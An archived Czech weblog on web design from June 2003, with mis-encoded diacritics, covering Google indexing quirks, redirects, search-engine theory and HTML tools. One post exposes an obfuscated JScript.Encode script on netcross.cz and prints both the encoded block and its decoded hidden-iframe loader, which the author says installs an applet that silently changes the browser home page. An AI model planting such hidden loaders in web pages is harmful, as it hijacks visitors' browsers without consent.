Yuh∙∙v weblog o webu

Strßnka z archivu.

pond∞lφ, 30. Φerven 2003

permonφk

Google nevidφ id

Lukin na Letem sv∞tem ho°ekuje nad dominantnφm postavenφm ne ·pln∞ dokonalΘho vyhledßvaΦe Google. Marek Prokop toti╛ poukßzal na dv∞ nov∞ znßmß pravidla URL pro Google:

  1. Google v∞t╣inou v∙bec neindexuje strßnky, kterΘ majφ v adrese parametr jmΘnem id. Nap°. tedy dokument na adrese http://cokoliv.cz/?id=1234 by Google pravd∞podobn∞ p°e╣el bez pov╣imnutφ. To je dost sφla.
  2. Podtr╛φtko v adrese nechßpe Google jako odd∞lovßnφ slov. To je trochu men╣φ problΘm, jeliko╛ mßlokdo optimalizuje adresy dokument∙ a v adresßch pou╛φvß podtr╛φtko (jako t°eba jß na jakpsatweb.cz; sm∙la).

Tato novß "pravidla" jsou dobrou ukßzkou toho, jak celß diskutovanß problematika optimalizace pro vyhledßvaΦe je spφ╣e um∞nφm ne╛ v∞dou. A ╛e to nikdo po°ßdn∞ nezkoumß. Kdy╛ se toti╛ podφvßte na v²sledky vyhledßvßnφ na n∞jakΘm serveru, kter² φdΘΦka pou╛φvß, je na prvnφ pohled n∞co ╣patn∞. K odhalenφ neindexovßnφ φdΘΦek p°itom vedla jedna malß zmφnka zam∞stnance Google, kter² je znßm pod nickem GoogleGuy:

"id=" usually marks a session id, so if you can rename that I would.

Voln∞ p°elo╛eno: ""id=" obvykle znamenß session-id, tak╛e jestli to m∙╛e╣ p°ejmenovat, tak bych to p°ejmenoval." Co╛ nap°φklad Interval.cz dnes ud∞lal, proto╛e tamnφ Φlßnky s id identifikujφcφ Φφslo Φlßnku prost∞ ne╣ly najφt. Na druhou stranu myslφm, ╛e v zß°φ Interval zaznamenß dvoj- a╛ trojnßsobnΘ zv²╣enφ nßv╣t∞vnosti (a nebude to pouze sez≤nnφ jev), Google si ho toti╛ najde. Podobnß ·prava Φekß spoustu dal╣φch server∙, namßtkou zmφnφm nap°. pooh.cz.

Oproti tomu podtr╛φtko v url nenφ takov² problΘm, proto╛e pak Google jenom ╣patn∞ chßpe hranice slov. Pak blb∞ prohledßvß url. Co╛ v ΦeskΘm prost°edφ bez diakritiky stejn∞ moc nevadφ. Navφc url nenφ pro pozici ve vyhledßvßnφ zas tak podstatnß.

permonφk

V²buch blog∙

Jsem rßd, ╛e to nemusφm psßt jß, napsal to za m∞ Marigold. P°φsp∞vek Panika na blogerskΘ kurze chßpu jako nep°φmou reakci na Dakmarster∙v ╛alozp∞v, ╛e blogge°i u╛ nejsou elita. Objevil se toti╛ blogovacφ nßstroj pro ╣irokou ve°ejnost na blog.lide.cz. Nevidφm to jako problΘm.

Marigold p°idßvß zajφmav² post°eh, kolem kterΘho se myslφm bude toΦit dal╣φ v²voj weblog∙:

Pokud by n∞co ΦeskΘ blogerskΘ scΘn∞ prosp∞lo, pak ne neumo╛n∞nφ nov²m bloger∙m nßstup na scΘnu, ale vytvo°enφ pevnΘ hierarchie a nomenklatury pro p°φsp∞vky, aby bylo mo╛nΘ nechat si na Blogportßlu vypsat pouze p°φzp∞vky na tΘma poΦφtaΦe nebo politika Φi sex a nebylo nutnΘ prodφrat se hromadou p°φzp∞vk∙ na tΘmata, kterß vßs nezajφmajφ. (Patrik Zandl, Marigold.cz)

sobota, 28. Φerven 2003

permonφk

Obrßzkov² kurzor

Na IVT logu jsem si poprvΘ v╣imnul p∞knΘho praktickΘho pou╛itφ obrßzkovΘho kurzoru deklarovanΘho p°es styl. Autor dj Padßk pou╛il konstrukci
html, body {cursor: url('cursor.cur')},
kde to cursor.cur je jmΘno souboru s kurzorem. Na strßnce se potom namφsto b∞╛nΘho kurzoru objevuje obrßzek. U╛ stra╣n∞ dlouho jsem cht∞l na tuhle vlastnost ud∞lat nßvod, ale jsem na to hrozn∞ lφnej.

Na IVT log jsem p∙vodn∞ ╣el p°eΦφst si o standardnφch zßpisech data a Φasu. Je to docela hezky zpracovan² p°ehled Φasov²ch formßt∙, ale asi ╛e u╛ je dnes pozd∞, tak╛e mi moc nenφ jasnΘ, kdy to jak pou╛φt. Je to moc teoretickΘ. Odkaz sem dßvßm, proto╛e vφm, ╛e se mi to n∞kdy bude hodit.

Reakce: na Conblogu je drobnΘ dopln∞nφ a pßr varujφcφch p°ipomφnek, kterΘ vφtßm a souhlasφm s nimi.

Φtvrtek, 26. Φerven 2003

permonφk

Inspirativnφ ╣ablona

Dal╣φ zajφmavou ╣ablonu pro EasyBlog (program, kter² pou╛φvßm na psanφ blogu) ud∞lal Vφt Dlouh². Ukazuje se, ╛e r∙znΘ se╣itovΘ a obrßzkovΘ layouty se pro dne╣nφ prohlφ╛eΦe dajφ d∞lat prost²m zapojenφm kaskßdov²ch styl∙ bez pou╛itφ tabulek, skript∙ a proprietßlnφch konstrukcφ.

st°eda, 25. Φerven 2003

permonφk

⌐╗ouchßnφ do Sovy 3/3

Hlavnφ strßnka Sovy v sφti mß zastaral² obsah. Celß se v∞nuje e-zinu, kter² u╛ dΘle ne╛ p∙l roku nevychßzφ.

T∞╛i╣t∞ v²bornΘho projektu Sova v sφti se zcela p°esunulo do weblogu. Na hlavnφ strßnku by se podle mΘho nßzoru mohl p°esunout archiv e-zinu. Je╣t∞ lep╣φ by bylo dßt tam jenom dva odkazy -- na weblog a na archiv e-zinu. Nic vφc.

Souvisejφcφ Φlßnky: Novinky a zd∙razn∞n² obsah, Star² obsah - ╣patn² obsah (oboje weblog Sovy v sφti). ⌐╗ouchßnφ do Sovy: klikacφ logo, zv∞t╣ovacφ pφsmo (oboje tento weblog)

Reakce a souvislosti: Divφ se Yuh∙ jen "na oko" ? (Techblog), PoΦtvrtΘ ╣╗ouchßme do Sovy (Bart na Letem sv∞tem)

permonφk

Blogy pro BFU

Ano, blogovacφ systΘm blog.lide.cz byl vytvo°en spφ╣e pro primitivnφ u╛ivatele. Krßsn² p°ehled nejp°φ╣ern∞j╣φch blog∙ na lide.cz a na bloguje.cz ud∞lal Elka.

permonφk

XHTML Φesky

╚esk² p°eklad W3C doporuΦenφ pro jazyk XMTML 1.0 je na adrese http://www.zralog.cz/translate/TR/REC-xhtml1-20020801/Overview.html. Odkaz jsem na╣el v DagBlogu.

·ter², 24. Φerven 2003

permonφk

Nenφ nic jednodu╣╣φho!

Z poΦφtaΦov²ch nßvod∙ Φasto dostßvßm vyrß╛ku. T°eba dneska jsem Φetl na jednom webu, kter² rad∞ji neodkazuji:

Chcete si ud∞lat vlastnφ www strßnky? Nenφ nic jednodu╣╣φho! Zvlßdne to ka╛d². Poradφme vßm, jak na to...

PodobnΘ kecy jsou takΘ skoro v ka╛dΘ knφ╛ce. A to to ani nejsou marketingovΘ knφ╛ky, tam bych to pochopil. Jsou to normßlnφ knφ╛ky nßvod∙. Znßm spoustu lidφ, co si n∞kde p°eΦetli, ╛e "ud∞lat strßnky je hraΦka", ale pak si °φkali: "to jsem ale debil, ╛e to nezvlßdnu, kdy╛ je to tak snadnΘ". A otrßvφ je to. Jenom╛e je to opravdu takovß hraΦka?

Nenφ. D∞lßnφ strßnek je pro normßlnφho Φlov∞ka pekeln∞ t∞╛kΘ. Kdy╛ se m∞ n∞kdo ptß, co pot°ebuje, aby si mohl ud∞lat strßnky, °φkßm mu: spoustu Φasu, trp∞livost, zßpal a pevnΘ nervy. Ne ka╛d² mß toti╛ Φas a chu╗ uΦit se jazyk HaTlaMatLa, ne ka╛d² vφ, ╛e existuje n∞co jako FTP (o pasivnφm re╛imu p°enosu FTP z podnikov²ch sφtφ nemluv∞). Ka╛d² zaΦßteΦnφk se dvakrßt osypal, kdy╛ zjistil, ╛e ka╛d² prohlφ╛eΦ kreslφ strßnky jinak. V╣ichni bojujφ s lev²m menu, s obtΘkan²mi bloky, s tabulkami, s Φe╣tinou. Kroutφ hlavou nad syntaxφ CSS, pletou si Javu s JavaScriptem a necht∞jφ se uΦit HTML, proto╛e sly╣eli, ╛e PHP je lep╣φ.

Prvnφ zaΦßteΦnφkova strßnka se na serveru zobrazuje bez obrßzk∙, proto╛e je na server nenahrßl. ZaΦßteΦnφk to ale nevφ, proto╛e ze svΘho poΦφtaΦe obrßzky vidφ pou╛iv v editoru nev∞domky src="file:///n∞co". Teprve t°etφ verze s relativnφmi adresami je sprßvn∞. Kdo to mß ale v∞d∞t? A co jsou ty dv∞ teΦky v relativnφ adrese? V tomhle v²kladu bych mohl pokraΦovat do nekoneΦna. Spousta zdßnliv∞ z°ejm²ch v∞cφ je ve skuteΦnosti prost∞ ╣ifra (dv∞ teΦky pro nad°azen² adresß° jsou dobr² p°φklad). Proto m∞ v╛dycky uvßdφ v ·╛as poΦφtaΦovΘ nßvody, kterΘ tvrdφ, ╛e je n∞co jednoduchΘ, snadnΘ. Nebo prostΘ. Ano, "prostΘ", to je to slovo.

Kdy╛ jsem d∞lal lektora, nikdy jsem nepou╛il v∞tu, ╛e je n∞co jednoduchΘ. Co to znamenß, ╛e je n∞co jednoduchΘ? «e tomu jß rozumφm? «e jsem se to uΦil t²den a pak jsem to nakonec pochopil? Je to stejn² princip jako arogance poΦφtaΦov²ch "specialist∙". Znßte to: p°ijde SPR┴VCE sφt∞ k BLB╔MU u╛ivateli, kter² nevφ, co se stalo s jeho prohnil²mi Windowsy. Sprßvce milostiv∞ dvakrßt n∞kam naprosto magicky klikne a odchßzφ s kletbou, ╛e to je p°ece JEDNODUCH╔ a p°φ╣t∞ u╛ to d∞lat nebude. OK, pochopφm to u t²pk∙, co neumφ mluvit s lidmi, tak v pracovnφ dob∞ mluvφ se servery. Ale proΦ tohle arogantnφ chovßnφ dßvat do nßpov∞d, nßvod∙ a knφ╛ek?

Jakou to mß souvislost s webdesignem: vtip je v p°edpokladech. Autor blbΘho nßvodu p°edpoklßdß, ╛e Φtenß° vφ zhruba totΘ╛, co on. Autor blbΘho webu d∞lß stejnou chybu. ╚tenß° toti╛ nemusφ v∞d∞t v∙bec nic. N∞jak jsem se rozkecal, pokraΦovßnφ p°φ╣t∞...

permonφk

Jak Φtenß° p°ichßzφ o Φtenφ

M∞l jsem napsanej p°φsp∞vek o Google na ╣est odstavc∙, jenom╛e ten mΘn∞cenn² operaΦnφ systΘm, kter² mßm na no╗asu, najednou spadnul a je to fuΦ. Fakt nemßm nßladu psßt to znova. Asi budu p°φsp∞vky psßt nap°ed v Notepadu, sejvovat a teprve potom je zkopφruju do EasyBlogu.

ned∞le, 22. Φerven 2003

permonφk

Architektura vyhledßvaΦ∙

Anotace Φlßnk∙ Karla Pßnka o vyhledßvaΦφch. ╚lßnky vychßzely v roce 2002 na Lup∞.cz pod oznaΦenφm Jehla v kupce sena. «ßdnΘ jinΘ odborn∞j╣φ texty o architektu°e vyhledßvaΦ∙ jsem v Φe╣tin∞ nena╣el. Nenφ to lehkΘ Φtenφ, je tam dost matiky. Musel jsem si to vytisknout a Φφst dvakrßt. JednotlivΘ Φlßnky na sebe navazujφ, tak╛e je to pot°eba Φφst postupn∞. Nebo pou╛φt t∞chto subjektivnφch abstrakt∙:

ProΦ nßm fulltextov² stroj nerozumφ -- ·vod do problematiky fulltextovΘho hledßnφ, statistiky o dotazech u╛ivatel∙, v²poΦet PageRanku, zmφn∞nφ metavyhledßvaΦ∙.

Jak pracuje metavyhledßvaΦ? -- metavyhledßvaΦ nemß svojφ vlastnφ databßzi dokument∙, ale poklßdß dotaz jin²m vyhledßvaΦ∙m (dφlΦφ vyhledßvaΦ = DV). Nestejnorodost r∙zn²ch DV p°inß╣φ problΘm s p°esnostφ a °azenφm v²sledk∙. (To se °e╣φ metaindexem, co╛ je matice, kde ve sloupeΦcφch jsou DV a v °ßdcφch pozice v²sledku. Hodnotami jsou Φφsla urΦujφcφ, jak moc tomu v²sledku v∞°φme. Nenφ mi jasnΘ, jak ta Φφsla zφskat.) U nßs metavyhledßvaΦe nejsou, co╛ je podle mΘho nßzoru zp∙sobeno velk²mi nßklady na v²voj po spu╣t∞nφ.

Architektury a modely webov²ch stroj∙ -- zmφnka o centralizovanΘ a distribuovanΘ architektu°e vΦetn∞ odkazu na Harvest, co╛ je implementace distribuovanΘ architektury pou╛φvajφcφ systΘm gatherer∙ a broker∙, kter² jsem z Φlßnku nepochopil. D∙le╛it∞j╣φ jsou modely vyhledßvßnφ.

Modely vyhledßvßnφ:

Vektorov² model je d∙le╛it² a pou╛φvan². P°i╣lo mi to hodn∞ slo╛itΘ, ale kdy╛ jsem si to p°elo╛il do selskΘho rozumu, °ekl jsem si, ╛e to je logickΘ a p°esn∞ takhle bych to implementoval. Dokumenty i dotazy jsou v n-rozm∞rnΘm prostoru (kde n je poΦet v╣ech slov) reprezentovßny vektory. Sou°adnice v n-tΘm rozm∞ru °φkß, jak moc je dokument pro n-tΘ slovo relevantnφ. Dokumenty podobnΘ dotazu majφ vektor podobnΘho sm∞ru jako vektor dotazu. Ta podobnost se zjistφ skalßrnφm souΦinem (dob°e se poΦφtß). Je╣t∞ p°ed tφm se vektory znormalizujφ na jednotkovou dΘlku, aby del╣φ dokumenty nebyly bezd∙vodn∞ zv²hodn∞ny.

Vßha (w) slova v dokumentu se dß poΦφtat r∙zn∞, v Φlßnku je vzoreΦek zohled≥ujφcφ dΘlku dokumentu i obecnou vzßcnost slova.

Roz╣φ°en² boolsk² model -- jak boolsk², tak vektorov² model pot°ebujφ zp°esnit ve chvφli, kdy se hledß vφce slov najednou. Omezenφ boolskΘho modelu je dßno tφm, ╛e existujφ pouze stavy 0 - slovo v dokumentu nenalezeno a 1 - slovo nalezeno. Kdy╛ se ale vezmou v ·vahu hodnoty mezi 0 a 1 (jako ve vektorovΘm modelu) a  metoda v²poΦtu z boolskΘho modelu, dajφ se dotazy nakreslit do grafu, z n∞j╛ je u╛ vid∞t vzoreΦek pro v²poΦet podobnosti dotazu s dokumentem (podle kterΘho se budou °adit v²sledky).

Ve vzoreΦku pro roz╣φ°en² boolsk² model je konstanta zvanß p-norma, jejφm╛ nastavenφm se dajφ zφskat v²sledky podobnΘ boolskΘmu modelu (p-norma = nekoneΦno) nebo vektorovΘmu modelu (p-norma = 1). Ale hlavn∞ se dß zφskat n∞co mezi! Roz╣φ°en² boolsk² model je teoretick²m sjednocenφm boolskΘho modelu s modelem vektorov²m.

⌐rotujeme text -- aby vyhledßvaΦ mohl p°esn∞ indexovat, m∞l by mφt v╣echny dokumenty postahovanΘ. P°i uklßdßnφ je dobrΘ dokumenty p°edchroustat (teprve potom se indexujφ). Lexikßlnφ anal²za se sna╛φ °e╣it problΘmy s teΦkami, Φφsly a podobn²mi znaky. "Stop slova" jako p°edlo╛ky a spojky se vyhßzejφ, proto╛e jsou stejn∞ v╣ude a nic neznamenajφ (tφm se zmen╣φ index). Stemming je jazykov² p°evod slova na ko°enov² tvar. Podobn∞ se chovß thesaurus, co╛ je slovnφk synonym. Indexovßnφ je p°edzpracovßnφ dat do takovΘho tvaru, aby v tom ╣lo rychle hledat. Je zmφn∞na metoda, kdy se pro ka╛dΘ slovo d∞lß index obsahujφcφ id dokumentu plus vßhu slova v tom dokumentu.

Jehla v kupce sena: Thesaurus -- thesaurus je slovnφk synonym. Ve vyhledßvaΦφch se pou╛φvß pro zp°esn∞nφ dotazu (nap°. tak, ╛e jsou do dotazu p°idßna skrytß slova -- synonyma). ╚lßnek se zab²vß automatickou v²stavbou thesauru (jsou tam vzorce), kdy se na bßzi sta╛en²ch dokument∙ provßd∞jφ korelaΦnφ v²poΦty urΦujφcφ, jak jsou dvojice slov navzßjem souvisejφcφ.

Sb∞r zp∞tnΘ vazby -- vychßzφ se z p°edpokladu, ╛e u╛ivatelΘ klikajφ na ty v²sledky, kterΘ lΘpe odpovφdajφ zadanΘmu dotazu. V╣echna kliknutφ se pomocφ redirectu dajφ monitorovat. ╚ekal bych, ╛e se to bude n∞jak zapoΦφtßvat do indexu, v Φlßnku je ale popsßna mo╛nost ovliv≥ovat polo╛en² dotaz podle konkrΘtnφho u╛ivatele. Moc jsem to nepochopil.

Fulltextov² stroj na 72 °ßdcφch -- praktick² p°φklad zdrojovΘho k≤du (asi) funkΦnφho fulltextovΘho vyhledßvaΦe. Program je napsan² v unixovΘm/linuxovΘm interpretu sh. Pou╛φvß b∞╛nΘ utility jako lynx, sort, tr nebo join. Pro jednoduchost indexuje jenom lokßln∞ ulo╛enΘ dokumenty. V²stup je primitivnφ, ale pro ilustraci to staΦφ.

Jak vypadß Google uvnit°? -- p°ehled modul∙ vyhledßvaΦe Google s nßstinem funkce. Moduly jsou URL server, crawler, ·lo╛i╣t∞, indexovaΦ, URL resolver a t°φdiΦ. Zmφn∞n algoritmus vyhodnocovßnφ dotazu.

Dal╣φ Φlßnky Karla Pßnka na Lup∞ jsem pominul, proto╛e mi nep°ijdou tak zajφmavΘ. Domnφvßm se, ╛e je to tent²╛ Karel Pßnek, co provozoval vyhledßvaΦ Empyreum, aΦkoli je to v Φlßncφch v²slovn∞ popφrßno (jako ╛e je to shoda jmen -- cha cha). Empyreum v roce 2002 kralovalo ΦeskΘmu trhu vyhledßvaΦ∙, prodßvalo v²sledky mimo jinΘ Seznamu a nechci kecat, ale myslφm ╛e i Atlasu a Redboxu. Podle d∙v∞ryhodnΘho vyjßd°enφ jednoho b²valΘho redaktora Lupy je autor Φlßnk∙ jinß osoba ne╛ Karel Pßnek, kter² provozoval vyhledßvaΦ Empyreum.

Φtvrtek, 19. Φerven 2003

permonφk

Cygwin

P∙ upozor≥uje na existenci Cygwinu a jß s nφm souhlasφm v tom, ╛e je to sbφrka program∙ hodnß odzkou╣enφ. Na prvnφ pohled vypadß jenom jako konzole, ale zvlßdß na Windowsech nasimulovat v╣echny zßkladnφ funkce Unixu/Linuxu. Je fakt, ╛e Cygwin obΦas d∞lß divnΘ v∞ci, ale to zas tolik nevadφ. Stahujte z mirorr∙.

permonφk

Golden HTML editor

Mo╛nß se mi budete smßt, ╛e u╛ ten program dlouho znßte. Jß jsem o n∞m v∞d∞l, ale ╛e je fakt zajφmav², jsem zjistil a╛ dneska. Prost∞ jsem si ho zkusil nainstalovat a ono je to skoro to samΘ, co HomeSite (akorßt to nenφ software za $90 jako HS, ale postcardware, tedy program za pohlednici).

Golden HTML editor se dß stßhnout ze strßnek http://www.oknet.cz/lide/pavelp/ghe/. Pokud rßdi pφ╣ete k≤d a nechce se vßm utrßcet, pak je Golden HTML editor vedle EasyPadu nebo PSPadu dal╣φ perfektnφ ΦeskΘ °e╣enφ.

·ter², 17. Φerven 2003

permonφk

Jak vypadnout z Google

StaΦφ zm∞nit adresu strßnek a je to. Po dvou m∞sφcφch pomalu starΘ strßnky mizφ z v²sledk∙ a novΘ se objevujφ hluboko propadlΘ. To nebyl zßm∞r.

Mnozφ asi vφte, ╛e jsem m∞l strßnky Jak psßt web dlouho na adrese http://dusan.pc-slany.cz/internet/ , co╛ je adresa vpravd∞ ╣φlenß. Dlouho jsem p°est∞hovßnφ na rozum∞j╣φ adresu odklßdal, prßv∞ proto╛e jsem necht∞l vypadnout z vyhledßvaΦ∙. Ve chvφli, kdy jsem protnul hranici p∞ti set unikßtnφch u╛ivatel∙ za den a Google toolbar ukazoval u PageRanku ╣estku, jsem zaΦal o vlastnφ domΘn∞ vß╛n∞ uva╛ovat. Hledal jsem mechanismus, jak pozici ve vyhledßvaΦφch p°enΘst na novou domΘnu.

Jedinou radou bylo p°esm∞rovßnφ strßnek na stran∞ serveru -- 301 moved permanently. 12. dubna se to stalo. V╣echno z adresß°e http://dusan.pc-slany.cz/internet/ p°esm∞roval sprßvce na╣eho serveru na adresu http://www.jakpsatweb.cz/. Pak jsem sledoval Google a modlil se.

Google dlouho vracel v²sledky jako p°edtφm, sm∞rovanΘ na starou domΘnu. Vyd╛el to i p°es asi historicky nejv∞t╣φ Google Dance jmΘnem Dominik, kter² probφhal v kv∞tnu. P°ed Dominikem ukazovala novß domΘna na toolbaru neznßm² page rank, po Dominikovi nulu. D∙le╛itΘ ale je, ╛e v tomto mezidobφ se ve v²sledcφch objevovaly v²sledky i ze starΘ i z novΘ domΘny, aΦkoli starß je p°esm∞rovanß. Vyvodil jsem z toho, ╛e Google naprosto ignoruje p°esm∞rovßnφ na stran∞ serveru 301 moved permanently a chßpe to jako dva zcela jinΘ weby. Google stßle vracel v²sledky na starou domΘnu jako d∙le╛it∞j╣φ, tak╛e t°eba na hledßnφ slova "CSS" v Φe╣tin∞ jsem m∞l stßle prvnφ mφsto, tak╛e nßv╣t∞vnφci chodili a jß byl docela v klidu. A╛ do dne╣ka.

U╛ asi dva dny b∞╛φ Esmeralda, dal╣φ Google Dance. Strßnkßm Jak psßt web sice p°isoudila page rank 4, ale ve v²sledcφch jsem na ka╛dou optimalizovanou frßzi nejlΘpe ve druhΘ desφtce v²sledk∙. Doufßm, ╛e se Φasem vyhrabu n∞kam v²╣e (d∞kuji v╣em, kdo na m∞ odkazujφ). Z toho ale vyvozuji doporuΦenφ:

Pokud musφte strßnky s dobr²m umφst∞nφm ve vyhledßvaΦφch p°esouvat na n∞jakou novou adresu a zßle╛φ na tom, aby byly k nalezenφ, zvolte n∞jakou m∞kΦφ formu p°esm∞rovßnφ ne╛ moved permanently. Osobn∞ bych tam dal asi odkaz, javascript nebo meta refresh.

D∙le╛itΘ dopln∞nφ: b∞hem n∞kolika dn∙ jsem se do v²sledk∙ vrßtil. DoporuΦuji 301 moved permanently. Vφce v p°φsp∞vku Jak zmatkovat nad Googlem.

permonφk

ZajφmavΘ Φlßnky

Jan Kune╣ ve Φlßnku Atlas.cz testovan² na lidech («iv∞) pφ╣e n∞co mßlo o tom, jak pou╛il Atlas u╛ivatelskΘ testovßnφ pro v²voj slu╛eb a hlavnφ strßnky. ⌐koda jen, ╛e neuvedl p°esn∞j╣φ zdroj ne╛ pouze "podle zßstupc∙ Atlasu" nebo "podle Alexandry GjuriµovΘ".

Strßnkßm "MSIE only" je odzvon∞no, pφ╣e Pixy v blogu. Opφrß se o skuteΦnost, ╛e MSIE 5 pro Mac se nebude dßle vyvφjet. U╛ivatel Macu tak na svΘm poΦφtaΦi Explorer v budoucnu v∙bec nemusφ mφt. Je to dob°e napsanΘ, pouze bych si dovolil upozornit, ╛e to nenφ nic novΘho. Pro Linux MSIE neexistoval nikdy, tak╛e "MSIE only" °e╣enφ byly v zßsad∞ ╣patnΘ v╛dy. Te∩ budou jenom trochu vφce.

pond∞lφ, 16. Φerven 2003

permonφk

Nßvrat ke ko°en∙m

weblog je po formßlnφ strßnce trivißlnφ. P°esn∞ to z n∞j Φinφ zbra≥ t∞╛kΘho kalibru (Marek Prokop, Lupa)

Ve Φlßnku Weblog marketing Marek znovu probφrß d∙vody, proΦ jsou weblogy tak populßrnφ a nov∞ pφ╣e o tom, jak se toho dß pou╛φt i v profesnφm sv∞t∞. (Odkaz jsem na╣el na Conblogu.)

Pamatuji si na prvnφ vlnu zßjmu o webovΘ strßnky. Kdo s tφm p°i╣el do styku, byl uchvßcen², proto╛e strßnky se daly

╚asem se na web vrhla komerce a v╣ichni znßme, jak vypadajφ "designovanΘ" strßnky, na kter²ch nenφ ╛ßdn² zajφmav² obsah. V╣ichni si mysleli, ╛e tφm sm∞rem se web bude ubφrat dßl. Kdo p°ed dv∞ma lety nem∞l dynamicky generovan² a animovan² obsah, byl za hlupßka. Nikdo na nikoho neodkazoval, proto╛e by mu to ubralo zßkaznφky. Strßnky se cht∞ly podobat spφ╣ program∙m ne╛ text∙m.

Ale to u╛ jsme v╣ichni probrali mockrßt. Kdy╛ dnes pozoruji rozmach weblog∙, tak si fakt myslφm, ╛e jde o nßvrat ke ko°en∙m. Mß╣ informaci? ⌐up s nφ na web. Je to tex╗ßk, Φte se to jako tex╗ßk. ┌sp∞╣nΘ, proto╛e snadnΘ.

permonφk

P°elo╛me "site"

Skupinu strßnek, kterΘ k sob∞ pat°φ, neumφm jednoznaΦn∞ Φesky pojmenovat. Z angliΦtiny znßm slovo site, Φteno sajt. Hodil by se mi Φesk² ekvivalent vyjad°ujφcφ podobnou adresu, podobn² vzhled a podobnou funkci strßnek d∞lan²ch v jednom balφΦku.

Mluvφvßm o tom jako o "webu", ale to zdaleka nevystihuje p°esn∞ tu ohraniΦenost, neb tu mßme i ten web ╣irok² sv∞tov². Pφ╣u o tom jako o "serveru", co╛ se blb∞ plete se serverem hardwarov²m i softwarov²m. Kdy╛ pou╛iju termφn "domΘna", je to zase mimo. Zatφm nejlep╣φ srozumitelnost dosahuji vyjßd°enφm "ty strßnky", co╛ je zase ubohΘ.

Nep°i╣el jsem na chu╗ ani poangliΦt∞nΘmu "sajt", anglicky psanΘ "site" je zase v ΦeskΘm kontextu nesrozumitelnΘ. Mo╛nß je Φas na ·pln∞ novΘ slovo. Nebo to pojmenovat n∞jak²m slovem star²m (ne v╣ak tak pochybn∞ jako t°eba "klubko" nebo dokonce "hnφzdo"). Poradφte? Napi╣te mi.

st°eda, 11. Φerven 2003

permonφk

"Vidφm v 160x120"

Mezi u╛ivateli internetu jsou i lidΘ, kter²m zrak chybφ ·pln∞ nebo jim ho u╛ moc nezb²vß - ve slepeckΘ komunit∞ zvanφ zbytka°i. Tomß╣ Val∙╣ek zareagoval na m∙j ne·pln² p°ehled mo╛nosti zv∞t╣ovßnφ pφsma a napsal zajφmav² komentß°, kter² zde rßd publikuji:

Dal╣φ zp∙sob zv∞t╣enφ pφsma v MSIE

Zbytka°i jsou web designΘry v podstat∞ nucenφ vyu╛φt nßsledujφcφ zp∙sob zv∞t╣ovßnφ textu - p°ikßzat prohlφ╛eΦi, aby ignoroval velikosti pφsem definovanΘ na strßnce (Nßstroje > Mo╛nosti internetu, karta ObecnΘ, tlaΦφtko Usnadn∞nφ).

V tΘto souvislosti ov╣em vstupuje do hry dal╣φ chyba prohlφ╛eΦe - p°i v²╣e zmφn∞nΘm nastavenφ sice ka╣le na velikost pφsma, ale neka╣le na line-height, tak╛e dost Φasto dochßzφ k p°ekr²vßnφ °ßdk∙ stav∞n²ch na men╣φ pφsmo, ne╛ mßm nastavenΘ. To °e╣φ u╛ivatelsk² CSS tohoto zn∞nφ:

@media screen {
* {line-height:1.2em!important}
}

Toto nastavenφ pom∙╛e v 98% p°φpad∙. Vyskytne-li se v╣ak problΘm s pevnou velikostφ obklopujφcφho prvku (nejΦast∞ji bu≥ky tabulky), b²vß text pro zm∞nu useknut. Na╣t∞stφ jde obvykle o r∙znß navigaΦnφ menu, kterß se obΦas dajφ skousnout i tak.

Jen bych p°ipomn∞l, ╛e pro lidi nevidomΘ Φi se zbytkem zraku je internet daleko d∙le╛it∞j╣φm zdrojem informacφ ne╛ pro v∞t╣inu ostatnφch lidφ, nebo╗ jim umo╛≥uje dostat se k v∞cem, je╛ by jinak museli zφskßvat prost°ednictvφm ochotn²ch p°edΦitatel∙.

Tomß╣ Val∙╣ek, tvalusek@vs.inext.cz

pond∞lφ, 9. Φerven 2003

permonφk

K≤dovan² javascript

Na strßnkßch www.netcross.cz je k≤dovan² javascript, kter² stßhne iframe, kter² stßhne applet, kter² v Exploreru bez varovßnφ p°enastavφ domovskou strßnku.

Op∞t jsem se utvrdil v tom, ╛e prochßzenφm cizφch skript∙ se Φlov∞k nejvφc nauΦφ. Kdy╛ m∞ Tomß╣ upozornil, ╛e NetCross automaticky nastavuje netcross jako domovskou strßnku, tak jsem skoro nev∞°il, ╛e je to mo╛nΘ. Ale je to tak. D∞lß to n∞jak² java applet. Mnohem zajφmav∞j╣φ mi ale p°i╣el zp∙sob, jak je applet ve strßnkßch ukryt². Na prvnφ ani na druh² pohled toti╛ ve zdroji nenφ v∙bec nic vid∞t. Teprve peΦlivß prohlφdka zaznamenala podez°el² skript:

<script language = JScript.Encode> #@~^bwAAAA==@#@&NG1Es+xDRS.kD+cJ@!kW.m:+,Ak9Yt{q~t#kTtO'q~kD^'E4YDwl&JhhA +OmMGk/ 1yJlN7+MOz1W;xDR24aB@*@!&k6Dlsn@*J*i@#@&UyMAAA==^#~@ </script>

Znßte jazyk JScript.Encode? Jß jsem ho neznal. Umφ ho Explorer od verze 5. Autor napφ╣e normßlnφ skript a zak≤duje ho pomocφ microsoftφho programu srcenc. Nic, co bych doporuΦoval pou╛φvat, ale asi je dobrΘ v∞d∞t, ╛e to existuje.

To k≤dovßnφ nenφ tak trivißlnφ, proto╛e narozdφl od jin²ch podobn²ch v∞cφ nenφ napsanΘ v Javascriptu, ale p°φmo implementovanΘ v Exploreru. ╪e╣enφ jsem hledal dost dlouho, ne╛ jsem zjistil, ╛e v rozk≤dovanΘ verzi je ten ╣φlen² °et∞zec takov²hle skriptφk:

document.write( "<iframe width=1 height=1 src='http://www.netcross.cz/advert/count.php'> </iframe>" );

Podle toho, jak to autor k≤du maskoval, je jasnΘ, ╛e nemß ΦistΘ sv∞domφ. To PΘHßPko posφlß dal╣φ javascript, kter² zapisuje applet Count.class, ten applet se spou╣tφ a vyu╛itφm n∞jakΘ slabiny Windows p°enastavφ v²chozφ strßnku. V∞°φm, ╛e zßjemci si to dopitvajφ sami, proto╛e applet∙m nerozumφm. Ne╛ ale zaΦnete podobnΘ applety psßt a pou╛φvat, v∞zte, ╛e to pova╛uji za hanebnost.

Reakce a souvislosti: Netcross podruhΘ (Weblog Karla ╚ernΘho) obsahuje "sympatickΘ" vyjßd°enφ autora k≤du; Netcross.cz a divnΘ praktiky (tamtΘ╛); Pozor na vlezlΘ webovΘ strßnky (Pooh.cz); NetCross: nevinn² trik Φi hanebnost (SVS)

ned∞le, 8. Φerven 2003

permonφk

Generßtor design∙

P°es Potßpnφka jsem se dostal na generßtor design∙ StrangeBannana. Klikal jsem asi deset minut :-) Je to sranda i pouΦenφ.

permonφk

Sova zv∞t╣ovacφ

